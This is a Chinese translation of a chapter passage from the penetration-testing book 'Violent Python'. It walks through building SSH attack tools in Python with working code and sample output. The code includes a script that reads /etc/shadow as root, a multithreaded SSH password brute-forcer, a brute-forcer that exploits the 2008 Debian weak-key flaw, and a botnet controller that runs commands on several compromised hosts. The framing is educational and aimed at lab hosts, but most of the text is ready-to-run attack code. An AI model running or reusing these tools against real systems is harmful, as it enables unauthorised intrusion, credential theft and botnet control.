《Violent Python》第二章Penetration Testing with Python(2)中文版(乌云python,英文爱好者翻译)

crown丶prince (我用双手成就你的梦想) | 2015-10-02 17:37

连载介绍信息:http://zone.wooyun.org/content/23138

原作者:Chris Katsaropoulos

第一译者:@草帽小子-DJ

第二译者:crown丶prince



构建一个SSH的僵尸网络


现在,我们已经构建了一个端口扫描器来寻找目标,我们就可以开始利用每个服务漏洞的任务了。莫里斯蠕虫包含了常用的用户名和密码,通过暴力破解来远程连接目标的shell(RSH),将其作为蠕虫的三种攻击向量之一。

1988年,RSH提供了一种极好的(虽然不安全)方法用于系统管理员来远程连接到计算机并控制它,从而在主机上执行一系列的终端命令。安全的shell(SSH)协议已经取代了RSH协议,通过接合RSH协议与公钥密码方案来确保安全。然而,这只是停止了少数人使用常用的用户名和密码的暴力破解作为攻击向量。SSH蠕虫已经被证明是非常成功的和常见的攻击向量。查看我们最近一次对www.violentpython.org的SSH攻击的入侵检测(IDS)日志。在这,攻击者试图用UCLA(加利福尼亚大学洛杉矶分校),牛津,matrix账户连接到机器。这些都是有趣的选择。幸运的是,IDS注意到攻击者的IP地址有强制制造密码的趋势后阻止了攻击者进一步的SSH登陆尝试。

Received From: violentPython->/var/log/auth.log

Rule: 5712 fired (level 10) -> "SSHD brute force trying to get access

    to the system."

Portion of the log(s):

Oct 13 23:30:30 violentPython sshd[10956]: Invalid user ucla from

    67.228.3.58

Oct 13 23:30:29 violentPython sshd[10954]: Invalid user ucla from

    67.228.3.58

Oct 13 23:30:29 violentPython sshd[10952]: Invalid user oxford from

    67.228.3.58

Oct 13 23:30:28 violentPython sshd[10950]: Invalid user oxford from

    67.228.3.58

Oct 13 23:30:28 violentPython sshd[10948]: Invalid user oxford from

    67.228.3.58

Oct 13 23:30:27 violentPython sshd[10946]: Invalid user matrix from

    67.228.3.58

Oct 13 23:30:27 violentPython sshd[10944]: Invalid user matrix from

67.228.3.58

通过Pexpect与SSH进行沟通

(注:Pexpect 是 Don Libes 的 Expect 语言的一个 Python 实现,是一个用来启动子程序,并使用正则表达式对程序输出做出特定响应,以此实现与其自动交互的 Python 模块。 Pexpect 的使用范围很广,可以用来实现与 ssh、ftp 、telnet 等程序的自动交互;可以用来自动复制软件安装包并在不同机器自动安装;还可以用来实现软件测试中与命令行交互的自动化)

让我们实现自己的自动化蠕虫通过暴力破解目标的用户凭据。因为SSH客户端需要用户的交互,我们的脚本必须等待和匹配期望的输入,在发送进一步的输入命令之前。考虑一下以下的情景,为了连接我们的IP地址为127.0.0.1的SSH机器,首先应用程序要求我们确认RSA密钥,在这种情况下,我们必须回答“yes”才能继续。接着应用程序要求我们输入密码。最后,我们执行我们的命令“uname -a”来确定目标机器的运行版本。

attacker$ ssh root@127.0.0.1

The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.

RSA key fingerprint is 5b:bd:af:d6:0c:af:98:1c:1a:82:5c:fc:5c:39:a3:68.

Are you sure you want to continue connecting (yes/no)? yes

Warning: Permanently added '127.0.0.1' (RSA) to the list of known

    hosts.

Password:**************

Last login: Mon Oct 17 23:56:26 2011 from localhost

attacker:∼ uname -v

Darwin Kernel Version 11.2.0: Tue Aug 9 20:54:00 PDT 2011;

root:xnu-1699.24.8∼1/RELEASE_X86_64

为了实现这种交互式的控制台,我们将充分利用名为Pexpect的第三方Python模块

(可以到http://pexpect.sourceforge.net下载)。Pexpect有和程序交互的能力,并寻找预期的输出,然后基于预期做出响应,这使得它成为自动暴力破解SSH用户凭证的一个极好的工具。

检查connect()函数,这个函数接收用户名,主机名和密码,并返回一个SSH连接,从而得到大量的SSH连接。利用Pexpect模块,并等待一个预期的输出。有三个预期的输出会出现—一个超时,一个信息提示这个主机有一个新的公共密钥,或者是一个密码输入提示。如果结果是超时,session.expect()函数将会返回0,接下来的选择语句警告这个并在返回之前打印一个错误信息。如果child.expect()函数捕捉到一个ssh_newkey信息,他将返回1.这将迫使函数发送一个消息“yes”来接受这个新key。接下来,函数在发送密码之前将等待密码提示。

import pexpect

PROMPT = ['# ', '>>> ', '> ', '\$ ']

def send_command(child, cmd):

    child.sendline(cmd)

    child.expect(PROMPT)

    print(child.before)

def connect(user, host, password):

    ssh_newkey = 'Are you sure you want to continue connecting'

    connStr = 'ssh ' + user + '@' + host

    child = pexpect.spawn(connStr)

    ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])

    if ret == 0:

        print('[-] Error Connecting')

        return

    if ret == 1:

        child.sendline('yes')

        ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])

    if ret == 0:

        print('[-] Error Connecting')

        return

    child.sendline(password)

    child.expect(PROMPT)

    return child

一旦通过认证,现在我们可以使用一个单独的函数commend()发送命令给SSH会话。commend()函数接受一个SSH会话和命令字符串作为输入。然后发送命令字符串给SSH会话,等待命令提示。捕捉到命令提示后将从SSH会话中打印输出。

import pexpect

PROMPT = ['# ', '>>> ', '> ', '\$ ']

def send_command(child, cmd):

    child.sendline(cmd)

    child.expect(PROMPT)

print(child.before)

将一切包装在一起,现在我们有了一个能连接和控制SSH会话交互的脚本了。

# coding=UTF-8

__author__ = 'dj'

import pexpect

PROMPT = ['# ', '>>> ', '> ', '\$ ']

def send_command(child, cmd):

    child.sendline(cmd)

    child.expect(PROMPT)

    print(child.before)

def connect(user, host, password):

    ssh_newkey = 'Are you sure you want to continue connecting'

    connStr = 'ssh ' + user + '@' + host

    child = pexpect.spawn(connStr)

    ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:'])

    if ret == 0:

        print('[-] Error Connecting')

        return

    if ret == 1:

        child.sendline('yes')

        ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])

    if ret == 0:

        print('[-] Error Connecting')

        return

    child.sendline(password)

    child.expect(PROMPT)

    return child

def main():

    host = 'localhost'

    user = 'root'

    password = 'toor'

    child = connect(user, host, password)

    send_command(child, 'cat /etc/shadow | grep root')

if __name__ == '__main__':

    main()

运行这个脚本。我们可以看到我们可以连接到一个SSH服务器,并远程控制者个主机。我们通过简单的命令以root身份读取/etc/shadow文件来显示哈希密码,我么可以使用这个工具做一些更狡猾的事情,比如说用wget下载渗透工具。你可以在Backtrack上通过生成ssh-keys来启动SSH服务。尝试启动SSH服务器,然后用这个脚本区连接它。

attacker# ssh-kengen

Generating public/private rsa1 key pair.

<..SNIPPED..>

attacker# service ssh start

ssh start/running, process 4376

attacker# python sshCommand.py

cat /etc/shadow | grep root

root:$6$ms32yIGN$NyXj0YofkK14MpRwFHvXQW0yvUid.slJtgxHE2EuQqgD  74S/GaGGs5VCnqeC.bS0MzTf/EFS3uspQMNeepIAc.:15503:0:99999:7:::

通过Pxssh暴力破解SSH密码

在写最后一个脚本时真的让我们更加深入的了解了pexpect模块的能力,但我们可以简化之前的脚本利用pxssh模块。Pxssh是Pexpect模块附带的脚本,它可以直接与SSH会话进行交互,通过预先定义的login(),logout(),prompt()函数。使用pxssh模块,我们可以压缩我们之前的代码。

import pxssh

def send_command(s, cmd):

    s.sendline(cmd)

    s.prompt()

    print(s.before)

def connect(host, user, password):

    try:

        s = pxssh.pxssh()

        s.login(host, user, password)

        return s

    except:

        print '[-] Error Connecting'

        exit(0)

s = connect('127.0.0.1', 'root', 'toor')

send_command(s, 'cat /etc/shadow | grep root')

我们的脚本快要完成了。我们只需要对我们的脚本稍作修改就能暴力破解SSH认证。除了增加一些选项解析主机名,用户名和密码文件,我们唯一要做的就是稍微修改一下connect()函数。如果login()函数成功登陆没有异常的话,我们将打印消息提示发现密码,然后更新全局布尔值标识。否则,我们将捕捉异常。如果异常显示密码“refused”,我们知道密码错误,直接返回。然而,如果异常显示socket套接字“read_nonblocking”,我们可以假设这个SSH服务器超过了最大连接数,然后我们会睡眠几秒再次尝试相同的密码连接。此外,如果异常显示pxssh难以获得命令提示符,我们将睡眠一会使它能获取命令提示符。值得注意的是我们包含一个布尔值在connect()的函数参照中。connect()函数可以递归的调用其他的connect()函数,我们希望调用者可以释放连接锁信号量。

# coding=UTF-8

import pxssh

import optparse

import time

import threading

maxConnections = 5

connection_lock = threading.BoundedSemaphore(value=maxConnections)

Found = False

Fails = 0

def connect(host, user, password, release):

    global Found, Fails

    try:

        s = pxssh.pxssh()

        s.login(host, user, password)

        print('[+] Password Found: ' + password)

        Found = True

    except Exception as e:

        if 'read_nonblocking' in str(e):

            Fails += 1

            time.sleep(5)

            connect(host, user, password, False)

        elif 'synchronize with original prompt' in str(e):

            time.sleep(1)

            connect(host, user, password, False)

    finally:

        if release:

            connection_lock.release()

def main():

    parser = optparse.OptionParser('usage%prog '+'-H <target host> -u <user> -f <password list>')

    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')

    parser.add_option('-f', dest='passwdFile', type='string', help='specify password file')

    parser.add_option('-u', dest='user', type='string', help='specify the user')

    (options, args) = parser.parse_args()

    host = options.tgtHost

    passwdFile = options.passwdFile

    user = options.user

    if host == None or passwdFile == None or user == None:

        print(parser.usage)

        exit(0)

    fn = open(passwdFile, 'r')

    for line in fn.readlines():

        if Found:

            print "[*] Exiting: Password Found"

            exit(0)

            if Fails > 5:

                print "[!] Exiting: Too Many Socket Timeouts"

                exit(0)

        connection_lock.acquire()

        password = line.strip('\r').strip('\n')

        print("[-] Testing: " + str(password))

        t = threading.Thread(target=connect, args=(host, user, password, True))

        t.start()

if __name__ == '__main__':

    main()

尝试用SSH密码暴力破解器破解得到一下结果。这很有趣当指示发现密码为“alpine”,这是iPhone设备的默认根密码。2009年末,一个SSH蠕虫攻击了iPhone。通常越狱的iPhone设备,用户能在iPhone上开启OpenSSH服务。而这被证明是非常有效的对于一些没有察觉的用户。蠕虫iKeee利用这个新问题尝试用默认密码攻击设备。该蠕虫的作者无意用这个蠕虫做任何破坏,但是他们更改iphone的背景图片为Rick Astley的图片,并附上一句话 “ikee never gonna give you up”.

attacker# python sshBrute.py -H 10.10.1.36 -u root -F pass.txt

[-] Testing: 123456789

[-] Testing: password

[-] Testing: 1234567

[-] Testing: alpine

[-] Testing: password1

[-] Testing: soccer

[-] Testing: anthony

[-] Testing: friends

[+] Password Found: alpine

[-] Testing: butterfly

[*] Exiting: Password Found

通过弱密钥利用SSH

密码提供了SSH服务的一种验证方式,但这不是唯一一种验证方式。此外,SSH还提过了另外一种验证方式—公钥加密。在这种情况下,服务器知道公钥,用户知道私钥。使用RSA或者DSA加密算法,服务器为登陆SSH的用户产生他们的密钥。通常,这提供了一个极好的验证方式。通过生成1024位,2048位或者4096位的密钥,使我们很难用弱口令暴力破解。

然而,在2006年Debian Linu的发行版发生了一些有趣的事情。一个开发者评论了一行通过代码自动分析工具找到的代码。代码的特定行保证SSH密钥产生的熵。通过讲解代码的特定行,密钥的搜索空间的减少到15位熵.不仅仅是15位熵,这就意味着每个算法只存在32767个密钥。

HD Morre,CSO和Rapid7的总设计师,生成了1024位和2048位的所有的密钥,在两个小时以内。此外,他使这些密钥debian_ssh_dsa_1024_x86.tar.bz2可以自行下载。你可以先下载1024位的密钥,然后提取密钥,删除公共密钥,因为只需要私人密钥来测试连接。

attacker# bunzip2 debian_ssh_dsa_1024_x86.tar.bz2

attacker# tar -xf debian_ssh_dsa_1024_x86.tar

attacker# cd dsa/1024/

attacker# ls

00005b35764e0b2401a9dcbca5b6b6b5-1390

00005b35764e0b2401a9dcbca5b6b6b5-1390.pub

00058ed68259e603986db2af4eca3d59-30286

00058ed68259e603986db2af4eca3d59-30286.pub

0008b2c4246b6d4acfd0b0778b76c353-29645

0008b2c4246b6d4acfd0b0778b76c353-29645.pub

000b168ba54c7c9c6523a22d9ebcad6f-18228

<..SNIPPED..>

attacker# rm -rf dsa/1024/*.pub

这个漏洞持续了两年之久才被安全人员发现。因此,有相当多的脆弱的SSH服务器。如果我们能构建一个工具来利用这个漏洞就好了。然而,为了访问密钥空间,可能要写一个小的Python脚本来暴力遍历32767个密钥为了验证一个无密码,依赖公共密钥的SSH服务器。

事实上,Warcat小组写过这样的脚本,并将它上传到了milw0rm,就在漏洞被发现的当天。Exploit-DB存档了Warcat小组的脚本,在http://www.exploit-db.com/exploits/5720/网站上。然而,我们将编写我们自己的脚本,利用用来编写密码暴力破解的的pexcept模块。

弱密钥测试的脚本和我们的暴力密码认证非常相似。为了用密钥认证SSH,我们需要输入ssh user@host –i keyfile –o PasswordAuthentication=no。在下面的脚本中,我们循环的设置已生成的密钥来尝试连接。如果连接成功,我们将打印密钥文件的名字在屏幕上。此外,我们将设置两个全局变量Stop和Fails,Fails将用于统计因为远程主机关闭连接而导致的连接失败的数量。如果数量超过5,我们将终止脚本。如果我们的扫描触发了远程IPS(入侵防御系统)阻止我们的连接,那么就没有意义继续下去。我们Stop全局变量是一个布尔值,告诉我们已经发现了一个密钥,main()函数也没有必要再开启新的连接进程。

# coding=UTF-8

import pexpect

import optparse

import os

import threading

maxConnections = 5

connection_lock = threading.BoundedSemaphore(value=maxConnections)

Stop = False

Fails = 0

def connect(user, host, keyfile, release):

    global Stop, Fails

    try:

        perm_denied = 'Permission denied'

        ssh_newkey = 'Are you sure you want to continue'

        conn_closed = 'Connection closed by remote host'

        opt = ' -o PasswordAuthentication=no'

        connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt

        child = pexpect.spawn(connStr)

        ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_newkey, conn_closed, '$', '#', ])

        if ret == 2:

            print('[-] Adding Host to ∼/.ssh/known_hosts')

            child.sendline('yes')

            connect(user, host, keyfile, False)

        elif ret == 3:

            print('[-] Connection Closed By Remote Host')

            Fails += 1

        elif ret > 3:

            print('[+] Success. ' + str(keyfile))

            Stop = True

    finally:

        if release:

            connection_lock.release()

def main():

    parser = optparse.OptionParser('usage%prog -H <target host> -u <user> -d <directory>')

    parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')

    parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys')

    parser.add_option('-u', dest='user', type='string', help='specify the user')

    (options, args) = parser.parse_args()

    host = options.tgtHost

    passDir = options.passDir

    user = options.user

    if host == None or passDir == None or user == None:

        print(parser.usage)

        exit(0)

    for filename in os.listdir(passDir):

        if Stop:

            print('[*] Exiting: Key Found.')

            exit(0)

        if Fails > 5:

            print('[!] Exiting: Too Many Connections Closed By Remote Host.')

            print('[!] Adjust number of simultaneous threads.')

            exit(0)

        connection_lock.acquire()

        fullpath = os.path.join(passDir, filename)

        print('[-] Testing keyfile ' + str(fullpath))

        t = threading.Thread(target=connect, args=(user, host, fullpath, True))

        t.start()

if __name__ == '__main__':

    main()

测试目标主机,我们能看到我们获得了漏洞系统的访问权限。如果1024位的密钥没用,尝试下载2048位的密钥,用同样的方式使用。

attacker# python bruteKey.py -H 10.10.13.37 -u root -d dsa/1024

[-] Testing keyfile tmp/002cc1e7910d61712c1aa07d4a609e7d-16764

[-] Testing keyfile tmp/00360c749f33ebbf5a05defe803d816a-31361

<..SNIPPED..>

[-] Testing keyfile tmp/002dcb29411aac8087bcfde2b6d2d176-27637

[-] Testing keyfile tmp/003e792d192912b4504c61ae7f3feb6f-30448

[-] Testing keyfile tmp/003add04ad7a6de6cb1ac3608a7cc587-29168

[+] Success. tmp/002dcb29411aac8087bcfde2b6d2d176-27637

[-] Testing keyfile tmp/003796063673f0b7feac213b265753ea-13516

[*] Exiting: Key Found.




构建SSH的僵尸网络


现在我们已经可以通过SSH控制一个主机,让我们扩大它同时控制多台主机。攻击者经常利用一系列的被攻击的主机来进行恶意的行动。我们称这是僵尸网络,因为这些脆弱的电脑的行为像僵尸一样执行命令。

为了构建我们的僵尸网络,我们将引入一个新的概念—class。class的概念作为面向对象编程的基础命名。在这个系统中,我们实例化与方法相关联的对象。为了我们的僵尸网络,每个僵尸或者客户机都要求有连接和发送命令的能力。

# coding=UTF-8

import optparse

import pxssh

class Client:

    def __init__(self, host, user, password):

        self.host = host

        self.user = user

        self.password = password

        self.session = self.connect()

    def connect(self):

        try:

            s = pxssh.pxssh()

            s.login(self.host, self.user, self.password)

            return s

        except Exception as e:

            print(e)

            print('[-] Error Connecting')

    def send_command(self, cmd):

        self.session.sendline(cmd)

        self.session.prompt()

        return self.session.before

检查代码生成的类对象Clinet()。为了建立客户机,我们需要主机名,用户名,密码或者密钥。此外,类包含的方法要能支持一个客户端—connect(), sned_command(), alive()。注意,当我们引入一个变量时,它属于类,我们通过slef来引用这个变量。为了构建僵尸网络,我们建立了一个全局的数组名字为botnet,这个数组包含了所有的连接对象。接下来,我们建立一个方法,名字为addClient()接受主机名,用户名和密码为参数,实例化一个连接对象然后将它添加到botnet数组中。下一步,botnetCommand()方法接受命令参数,这个方法遍历数组的每一个连接,给每一个连接的客户机发送命令。

自愿的僵尸网络

黑客组织Anonymous,通常采用自愿的僵尸网络来攻击他们的敌人。为了攻击的最大限度,这个还可组织要求他们的成员下载一个名为LOIC的工具。作为一个集体,这个黑客组织的成员发动一个分布式的僵尸网络攻击来攻击他们的目标。虽然是非法的,Anonymous组织的的行为已经取得了一些引人注意的和到得上的胜利成果。在最近的一个操作中,通过操作黑暗网络,Anonymous利用自愿的僵尸网络淹没了致力于传播儿童情色资源的网络主机。

# coding=UTF-8

import optparse

import pxssh

class Client:

    def __init__(self, host, user, password):

        self.host = host

        self.user = user

        self.password = password

        self.session = self.connect()

    def connect(self):

        try:

            s = pxssh.pxssh()

            s.login(self.host, self.user, self.password)

            return s

        except Exception as e:

            print(e)

            print('[-] Error Connecting')

    def send_command(self, cmd):

        self.session.sendline(cmd)

        self.session.prompt()

        return self.session.before

def botnetCommand(command):

    for client in botNet:

        output = client.send_command(command)

        print('[*] Output from ' + client.host)

        print('[+] ' + output + '\n')

def addClient(host, user, password):

    client = Client(host, user, password)

    botNet.append(client)

botNet = []

addClient('10.10.10.110', 'root', 'toor')

addClient('10.10.10.120', 'root', 'toor')

addClient('10.10.10.130', 'root', 'toor')

botnetCommand('uname -v')

botnetCommand('cat /etc/issue')

通过包装前面的内容,我们得到了我们最后的僵尸网络的脚本。这提供了一个极好的控制大量主机的方法。为了测试,我们生成了3台Backtrack5的虚拟主机作为目标。我们可以看到我们的脚本遍历三台主机并发送命令给每个受害者。SSH僵尸网络的生成脚本是直接攻击服务器。下一节我们集中在间接攻击向量位目标,通过脆弱的服务器和另一种方法建立一个集体感染。